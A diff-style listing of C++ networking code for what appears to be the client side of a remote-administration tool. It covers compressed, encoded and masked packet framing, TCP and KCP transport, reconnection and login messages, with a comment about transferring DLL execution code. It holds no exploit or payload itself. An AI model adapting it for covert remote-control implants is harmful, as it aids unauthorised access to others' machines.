if (iReceivedLength <= 0) {
|
||||
int a = WSAGetLastError();
|
||||
Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a);
|
||||
Disconnect(); //接收错误处理
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
if (m_ReconnectFunc && !m_ReconnectFunc(m_Manager))
|
||||
return false;
|
||||
} else {
|
||||
szBuffer[iReceivedLength] = 0;
|
||||
//正确接收就调用OnRead处理,转到OnRead
|
||||
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 带异常处理的数据处理逻辑:
|
||||
// 如果 f 执行时 没有触发系统异常(如访问冲突),返回 0
|
||||
// 如果 f 执行过程中 抛出了异常(比如空指针访问),将被 __except 捕获,返回异常码(如 0xC0000005 表示访问违规)
|
||||
int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
__try {
|
||||
if (f) f(manager, data, len);
|
||||
return 0;
|
||||
} __except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
return GetExceptionCode();
|
||||
}
|
||||
#else
|
||||
// 非 Windows 平台暂不支持 SEH 异常处理,直接调用
|
||||
if (f) f(manager, data, len);
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, ULONG ulLength)
|
||||
{
|
||||
try {
|
||||
assert (ulLength > 0);
|
||||
//以下接到数据进行解压缩
|
||||
m_CompressedBuffer->WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||
int FLAG_LENGTH = m_Encoder->GetFlagLen();
|
||||
int HDR_LENGTH = m_Encoder->GetHeadLen();
|
||||
|
||||
//检测数据是否大于数据头大小 如果不是那就不是正确的数据
|
||||
while (m_CompressedBuffer->GetBufferLength() > HDR_LENGTH) {
|
||||
// UnMask
|
||||
char* src = (char*)m_CompressedBuffer->GetBuffer();
|
||||
ULONG srcSize = m_CompressedBuffer->GetBufferLength();
|
||||
PkgMaskType maskType = MaskTypeUnknown;
|
||||
ULONG ret = TryUnMask(src, srcSize, maskType);
|
||||
// ULONG ret = m_masker->UnMask(src, srcSize);
|
||||
m_CompressedBuffer->Skip(ret);
|
||||
if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH)
|
||||
break;
|
||||
|
||||
char szPacketFlag[32] = {0};
|
||||
src = (char*)m_CompressedBuffer->GetBuffer();
|
||||
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
||||
//判断数据头
|
||||
HeaderEncType encType = HeaderEncUnknown;
|
||||
FlagType flagType = CheckHead(szPacketFlag, encType);
|
||||
if (flagType == FLAG_UNKNOWN) {
|
||||
// 打印诊断信息
|
||||
ULONG bufLen = m_CompressedBuffer->GetBufferLength();
|
||||
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: ", bufLen);
|
||||
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
|
||||
Mprintf("%02X ", (unsigned char)src[i]);
|
||||
}
|
||||
Mprintf("\n");
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
ULONG ulPackTotalLength = 0;
|
||||
CopyMemory(&ulPackTotalLength, m_CompressedBuffer->GetBuffer(FLAG_LENGTH), sizeof(ULONG));
|
||||
|
||||
// 包长度合理性检查:防止错误的长度值导致内存问题
|
||||
// 单个包不应超过 50MB,且至少要大于头部长度(支持大型DLL执行代码传输)
|
||||
const ULONG MAX_PACKET_SIZE = 50 * 1024 * 1024;
|
||||
if (ulPackTotalLength <= (ULONG)HDR_LENGTH || ulPackTotalLength > MAX_PACKET_SIZE) {
|
||||
Mprintf("[ERROR] Invalid packet length: %lu (HDR=%d)\n", ulPackTotalLength, HDR_LENGTH);
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
//--- 数据的大小正确判断
|
||||
ULONG len = m_CompressedBuffer->GetBufferLength();
|
||||
if (ulPackTotalLength && len >= ulPackTotalLength) {
|
||||
ULONG ulOriginalLength = 0;
|
||||
|
||||
m_CompressedBuffer->ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//读取各种头部 shine
|
||||
m_CompressedBuffer->ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
m_CompressedBuffer->ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||
|
||||
// 解压后长度合理性检查
|
||||
if (ulOriginalLength == 0 || ulOriginalLength > MAX_PACKET_SIZE) {
|
||||
Mprintf("[ERROR] Invalid original length: %lu. Skipping packet.\n", ulOriginalLength);
|
||||
ULONG skipLen = ulPackTotalLength - HDR_LENGTH;
|
||||
if (skipLen > 0 && skipLen < len) {
|
||||
m_CompressedBuffer->Skip(skipLen);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
|
||||
const int bufSize = 512;
|
||||
BYTE buf1[bufSize], buf2[bufSize];
|
||||
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
|
||||
PBYTE DeCompressedBuffer = ulOriginalLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
|
||||
|
||||
m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag);
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
}
|
||||
} else {
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
||||
// ReadBuffer 已消费当前包,不需要清空缓冲区
|
||||
}
|
||||
|
||||
if (CompressedBuffer != buf1)delete [] CompressedBuffer;
|
||||
if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
|
||||
} else {
|
||||
break; // received data is incomplete
|
||||
}
|
||||
}
|
||||
} catch(...) {
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
Mprintf("[ERROR] OnServerReceiving catch an error \n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// 向server发送数据,压缩操作比较耗时。
|
||||
// 关闭压缩开关时,SendWithSplit比较耗时。
|
||||
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask) //Hello
|
||||
{
|
||||
AUTO_TICK(100, std::to_string(ulOriginalLength));
|
||||
assert (ulOriginalLength > 0);
|
||||
|
||||
// 整个发送过程需要加锁,防止多线程(视频+音频)数据交错
|
||||
std::lock_guard<std::mutex> lock(m_Locker);
|
||||
{
|
||||
int cmd = BYTE(szBuffer[0]);
|
||||
//乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12
|
||||
//防止缓冲区溢出// HelloWorld 10 22
|
||||
//数据压缩 压缩算法 微软提供
|
||||
//nSize = 436
|
||||
//destLen = 448
|
||||
#if USING_ZLIB
|
||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||
#else
|
||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||
#endif
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (Z_FAILED(iRet)) {
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
#if !USING_ZLIB
|
||||
ulCompressedLength = iRet;
|
||||
#endif
|
||||
ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen();
|
||||
CBuffer m_WriteBuffer;
|
||||
HeaderFlag H = m_Encoder->GetHead();
|
||||
m_Encoder->Encode(CompressedBuffer, ulCompressedLength, (LPBYTE)H.data());
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)H.data(), m_Encoder->GetFlagLen());
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
||||
|
||||
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
||||
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
|
||||
STOP_TICK;
|
||||
// 分块发送
|
||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask);
|
||||
}
|
||||
}
|
||||
|
||||
// 5 2 // 2 2 1
|
||||
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask)
|
||||
{
|
||||
AUTO_TICK(50, std::to_string(cmd));
|
||||
if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
|
||||
return FALSE;
|
||||
// Mask
|
||||
char* szBuffer = nullptr;
|
||||
ULONG ulLength = 0;
|
||||
(mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) :
|
||||
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
|
||||
if(szBuffer != src && srcSize > ulSplitLength) {
|
||||
Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize);
|
||||
}
|
||||
bool isFail = false;
|
||||
int iReturn = 0; //真正发送了多少
|
||||
const char* Travel = szBuffer;
|
||||
int i = 0;
|
||||
int ulSended = 0;
|
||||
const int ulSendRetry = 15;
|
||||
|
||||
// 大包优化:当数据量超过阈值时,尝试一次性发送更大的块
|
||||
// SO_SNDBUF 已设为 256KB,可以尝试一次发送更多数据
|
||||
const ULONG LARGE_PACKET_THRESHOLD = 256 * 1024; // 256KB
|
||||
ULONG actualSplitLength = ulSplitLength;
|
||||
if (ulLength >= LARGE_PACKET_THRESHOLD) {
|
||||
// 大包使用更大的分块,减少系统调用次数
|
||||
actualSplitLength = 256 * 1024; // 一次发送256KB
|
||||
}
|
||||
|
||||
// 依次发送
|
||||
for (i = ulLength; i >= (int)actualSplitLength; i -= actualSplitLength) {
|
||||
int remaining = actualSplitLength;
|
||||
while (remaining > 0) {
|
||||
int j = 0;
|
||||
for (; j < ulSendRetry; ++j) {
|
||||
iReturn = SendTo(Travel, remaining, 0);
|
||||
if (iReturn > 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (j == ulSendRetry) {
|
||||
isFail = true;
|
||||
break;
|
||||
}
|
||||
|
||||
ulSended += iReturn;
|
||||
Travel += iReturn;
|
||||
remaining -= iReturn;
|
||||
}
|
||||
if (isFail) break;
|
||||
}
|
||||
// 发送最后的部分
|
||||
if (!isFail && i>0) { //1024
|
||||
int remaining = i;
|
||||
while (remaining > 0) {
|
||||
int j = 0;
|
||||
for (; j < ulSendRetry; j++) {
|
||||
iReturn = SendTo((char*)Travel, remaining, 0);
|
||||
if (iReturn > 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (j == ulSendRetry) {
|
||||
isFail = true;
|
||||
break;
|
||||
}
|
||||
ulSended += iReturn;
|
||||
Travel += iReturn;
|
||||
remaining -= iReturn;
|
||||
}
|
||||
}
|
||||
if (szBuffer != src)
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
if (isFail) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return (ulSended == ulLength) ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::Disconnect()
|
||||
{
|
||||
if (m_sClientSocket == INVALID_SOCKET)
|
||||
return;
|
||||
|
||||
Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort);
|
||||
|
||||
CancelIo((HANDLE)m_sClientSocket);
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
|
||||
m_bConnected = FALSE;
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
{
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
|
||||
Sleep(200);
|
||||
setManagerCallBack(NULL, NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
|
||||
BOOL is_valid()
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID IOCPClient::RunEventLoop(TrailCheck checker)
|
||||
{
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
checker = checker ? checker : is_valid;
|
||||
#ifdef _DEBUG
|
||||
checker = is_valid;
|
||||
#endif
|
||||
while (m_bIsRunning && checker())
|
||||
Sleep(200);
|
||||
setManagerCallBack(NULL, NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
311
client/IOCPClient.h
Normal file
311
client/IOCPClient.h
Normal file
@@ -0,0 +1,311 @@
|
||||
// IOCPClient.h: interface for the IOCPClient class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#include <WinSock2.h>
|
||||
#include <MSTcpIP.h>
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
#include "Buffer.h"
|
||||
#include "zstd/zstd.h"
|
||||
#include "domain_pool.h"
|
||||
#include "common/mask.h"
|
||||
#include "common/header.h"
|
||||
#define NO_AES
|
||||
#include "common/encrypt.h"
|
||||
#ifdef _WIN32
|
||||
#include "SafeThread.h"
|
||||
#else
|
||||
#ifndef SAFE_DELETE
|
||||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||||
#endif
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#endif
|
||||
#include "IOCPBase.h"
|
||||
#include <mutex>
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
||||
|
||||
enum { S_STOP = 0, S_RUN, S_END };
|
||||
|
||||
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
typedef int (*OnDisconnectCB)(void* userData);
|
||||
|
||||
class ProtocolEncoder
|
||||
{
|
||||
public:
|
||||
virtual ~ProtocolEncoder() {}
|
||||
virtual HeaderFlag GetHead() const
|
||||
{
|
||||
return "Shine";
|
||||
}
|
||||
virtual int GetHeadLen() const
|
||||
{
|
||||
return 13;
|
||||
}
|
||||
virtual int GetFlagLen() const
|
||||
{
|
||||
return 5;
|
||||
}
|
||||
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||
virtual EncFun GetHeaderEncoder() const
|
||||
{
|
||||
return nullptr;
|
||||
}
|
||||
};
|
||||
|
||||
class HellEncoder : public ProtocolEncoder
|
||||
{
|
||||
private:
|
||||
EncFun m_HeaderEnc;
|
||||
Encoder *m_BodyEnc;
|
||||
public:
|
||||
HellEncoder(EncFun head, Encoder *body)
|
||||
{
|
||||
m_HeaderEnc = head;
|
||||
m_BodyEnc = body;
|
||||
}
|
||||
~HellEncoder()
|
||||
{
|
||||
SAFE_DELETE(m_BodyEnc);
|
||||
}
|
||||
virtual HeaderFlag GetHead() const override
|
||||
{
|
||||
return ::GetHead(m_HeaderEnc);
|
||||
}
|
||||
virtual int GetHeadLen() const override
|
||||
{
|
||||
return 16;
|
||||
}
|
||||
virtual int GetFlagLen() const override
|
||||
{
|
||||
return 8;
|
||||
}
|
||||
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override
|
||||
{
|
||||
return m_BodyEnc->Encode(data, len, param);
|
||||
}
|
||||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override
|
||||
{
|
||||
return m_BodyEnc->Decode(data, len, param);
|
||||
}
|
||||
virtual EncFun GetHeaderEncoder() const override
|
||||
{
|
||||
return m_HeaderEnc;
|
||||
}
|
||||
};
|
||||
|
||||
class IOCPManager
|
||||
{
|
||||
public:
|
||||
virtual ~IOCPManager() {}
|
||||
virtual BOOL IsAlive() const
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
virtual BOOL IsReady() const
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||
|
||||
// Tip: 在派生类实现该函数以便支持断线重连
|
||||
virtual BOOL OnReconnect()
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
// 等待子类准备就绪才能处理数据, 1秒足够了
|
||||
int i = 0;
|
||||
for (; i < 1000 && !m_Manager->IsReady(); ++i)
|
||||
Sleep(1);
|
||||
if (!m_Manager->IsReady()) {
|
||||
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
if (i) {
|
||||
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
|
||||
}
|
||||
m_Manager->OnReceive(szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
static int ReconnectProcess(void* user)
|
||||
{
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
return FALSE;
|
||||
}
|
||||
return m_Manager->OnReconnect();
|
||||
}
|
||||
};
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
|
||||
class IOCPClient : public IOCPBase
|
||||
{
|
||||
public:
|
||||
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, CONNECT_ADDRESS *conn=0,
|
||||
const std::string&pubIP="", void*main=0);
|
||||
virtual ~IOCPClient();
|
||||
|
||||
int SendLoginInfo(const LOGIN_INFOR& logInfo)
|
||||
{
|
||||
LOGIN_INFOR tmp = logInfo;
|
||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
}
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
|
||||
std::string GetClientIP() const
|
||||
{
|
||||
return m_sLocPublicIP;
|
||||
}
|
||||
|
||||
std::map<std::string, std::string> GetClientIPHeader() const
|
||||
{
|
||||
return m_sLocPublicIP.empty() ? std::map<std::string, std::string> {} :
|
||||
std::map<std::string, std::string> { {"X-Forwarded-For", m_sLocPublicIP} };
|
||||
}
|
||||
|
||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL)
|
||||
{
|
||||
return OnServerSending(szBuffer, ulOriginalLength, mask);
|
||||
}
|
||||
|
||||
void SetServerAddress(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||
m_nHostPort = uPort;
|
||||
}
|
||||
|
||||
std::string ServerIP() const
|
||||
{
|
||||
return m_sCurIP;
|
||||
}
|
||||
|
||||
int ServerPort() const
|
||||
{
|
||||
return m_nHostPort;
|
||||
}
|
||||
|
||||
BOOL IsRunning() const
|
||||
{
|
||||
return m_bIsRunning;
|
||||
}
|
||||
VOID StopRunning()
|
||||
{
|
||||
m_ReconnectFunc = NULL;
|
||||
m_bIsRunning = FALSE;
|
||||
}
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect);
|
||||
VOID RunEventLoop(TrailCheck checker);
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const
|
||||
{
|
||||
return m_bConnected == TRUE;
|
||||
}
|
||||
BOOL Reconnect(void* manager)
|
||||
{
|
||||
Disconnect();
|
||||
if (manager) m_Manager = manager;
|
||||
return ConnectServer(NULL, 0);
|
||||
}
|
||||
const State& GetState() const
|
||||
{
|
||||
return g_bExit;
|
||||
}
|
||||
void SetMultiThreadCompress(int threadNum=0);
|
||||
std::string GetClientID() const
|
||||
{
|
||||
return m_conn ? std::to_string(m_conn->clientID) : "";
|
||||
}
|
||||
std::string GetPublicIP() const
|
||||
{
|
||||
return m_sLocPublicIP;
|
||||
}
|
||||
CONNECT_ADDRESS* GetConnectionAddress() const
|
||||
{
|
||||
return m_conn;
|
||||
}
|
||||
IOCPManager* GetManager() const
|
||||
{
|
||||
return (IOCPManager*)m_Manager;
|
||||
}
|
||||
void* GetMain() const
|
||||
{
|
||||
return m_main;
|
||||
}
|
||||
void SetVerifyInfo(const std::string& msg, const std::string& hmac) {
|
||||
m_LoginMsg = msg;
|
||||
m_LoginSignature = hmac;
|
||||
}
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
// TCP版本调用 recv
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
}
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||
virtual int SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
}
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
||||
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask);
|
||||
|
||||
protected:
|
||||
sockaddr_in m_ServerAddr;
|
||||
SOCKET m_sClientSocket;
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bIsRunning;
|
||||
BOOL m_bConnected;
|
||||
|
||||
std::mutex m_Locker;
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||
#endif
|
||||
|
||||
const State& g_bExit; // 全局状态量
|
||||
void* m_Manager; // 用户数据
|
||||
DataProcessCB m_DataProcess; // 处理用户数据
|
||||
OnDisconnectCB m_ReconnectFunc; // 断线重连逻辑
|
||||
ProtocolEncoder* m_Encoder; // 加密
|
||||
DomainPool m_Domain;
|
||||
std::string m_sCurIP;
|
||||
int m_nHostPort;
|
||||
bool m_exit_while_disconnect;
|
||||
PkgMask* m_masker;
|
||||
BOOL m_EncoderType;
|
||||
std::string m_sLocPublicIP;
|
||||
CONNECT_ADDRESS *m_conn = NULL;
|
||||
|
||||
void *m_main = NULL;
|
||||
public:
|
||||
std::string m_LoginMsg; // 登录消息摘要
|
||||
std::string m_LoginSignature; // 登录消息签名
|
||||
};
|
||||
118
client/IOCPKCPClient.cpp
Normal file
118
client/IOCPKCPClient.cpp
Normal file
@@ -0,0 +1,118 @@
|
||||
#include "IOCPKCPClient.h"
|
||||
#include <windows.h>
|
||||
#include <chrono>
|
||||
#include <iostream>
|
||||
|
||||
IOCPKCPClient::IOCPKCPClient(State& bExit, bool exit_while_disconnect)
|
||||
: IOCPUDPClient(bExit, exit_while_disconnect), kcp_(nullptr), running_(false)
|
||||
{
|
||||
}
|
||||
|
||||
IOCPKCPClient::~IOCPKCPClient()
|
||||
{
|
||||
running_ = false;
|
||||
if (updateThread_.joinable())
|
||||
updateThread_.join();
|
||||
|
||||
if (kcp_)
|
||||
ikcp_release(kcp_);
|
||||
}
|
||||
|
||||
BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort);
|
||||
if (!ret)
|
||||
return FALSE;
|
||||
|
||||
// 初始化KCP
|
||||
uint32_t conv = KCP_SESSION_ID; // conv 要与服务端匹配
|
||||
kcp_ = ikcp_create(conv, this);
|
||||
if (!kcp_)
|
||||
return FALSE;
|
||||
|
||||
// 设置KCP参数
|
||||
ikcp_nodelay(kcp_, 1, 40, 2, 0);
|
||||
kcp_->rx_minrto = 30;
|
||||
kcp_->snd_wnd = 128;
|
||||
kcp_->rcv_wnd = 128;
|
||||
|
||||
// 设置发送回调函数(KCP发送数据时调用)
|
||||
kcp_->output = IOCPKCPClient::kcpOutput;
|
||||
|
||||
running_ = true;
|
||||
updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this);
|
||||
m_bConnected = TRUE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// UDP收包线程调用,将收到的UDP包送入KCP处理,再尝试读取完整应用包
|
||||
int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
// 先调用基类接收UDP原始数据
|
||||
char udpBuffer[1500] = { 0 };
|
||||
int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags);
|
||||
if (recvLen <= 0)
|
||||
return recvLen;
|
||||
|
||||
// 输入KCP协议栈
|
||||
int inputRet = ikcp_input(kcp_, udpBuffer, recvLen);
|
||||
if (inputRet < 0)
|
||||
return -1;
|
||||
|
||||
// 从KCP中读取应用层数据,写入buffer
|
||||
int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize);
|
||||
return kcpRecvLen; // >0表示收到完整应用数据,0表示无完整包
|
||||
}
|
||||
|
||||
bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag)
|
||||
{
|
||||
int iReceivedLength = ReceiveData(szBuffer, len, flag);
|
||||
if (iReceivedLength <= 0)
|
||||
{}
|
||||
else {
|
||||
szBuffer[iReceivedLength] = 0;
|
||||
//正确接收就调用OnRead处理,转到OnRead
|
||||
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 发送应用层数据时调用,转发给KCP协议栈
|
||||
int IOCPKCPClient::SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
if (!kcp_)
|
||||
return -1;
|
||||
|
||||
int ret = ikcp_send(kcp_, buf, len);
|
||||
if (ret < 0)
|
||||
return -1;
|
||||
|
||||
// 主动调用flush,加快发送
|
||||
ikcp_flush(kcp_);
|
||||
return ret;
|
||||
}
|
||||
|
||||
// KCP发送数据回调,将KCP生成的UDP包发送出去
|
||||
int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user)
|
||||
{
|
||||
IOCPKCPClient* client = reinterpret_cast<IOCPKCPClient*>(user);
|
||||
if (client->m_sClientSocket == INVALID_SOCKET)
|
||||
return -1;
|
||||
|
||||
int sentLen = sendto(client->m_sClientSocket, buf, len, 0, (sockaddr*)&client->m_ServerAddr, sizeof(client->m_ServerAddr));
|
||||
if (sentLen == len)
|
||||
return 0;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 独立线程定时调用ikcp_update,保持KCP协议正常工作
|
||||
void IOCPKCPClient::KCPUpdateLoop()
|
||||
{
|
||||
while (running_ && !g_bExit) {
|
||||
IUINT32 current = GetTickCount64();
|
||||
ikcp_update(kcp_, current);
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20ms周期,视需求调整
|
||||
}
|
||||
}
|
||||
34
client/IOCPKCPClient.h
Normal file
34
client/IOCPKCPClient.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
#include "IOCPUDPClient.h"
|
||||
#include "ikcp.h"
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
|
||||
class IOCPKCPClient : public IOCPUDPClient
|
||||
{
|
||||
public:
|
||||
IOCPKCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||
virtual ~IOCPKCPClient();
|
||||
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
|
||||
|
||||
// 重写接收函数:输入UDP数据给KCP,输出KCP层解包后的数据
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override;
|
||||
|
||||
// 重写发送函数:将应用数据通过KCP发送
|
||||
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||
|
||||
private:
|
||||
// KCP发送数据的回调函数,负责调用UDP的sendto
|
||||
static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user);
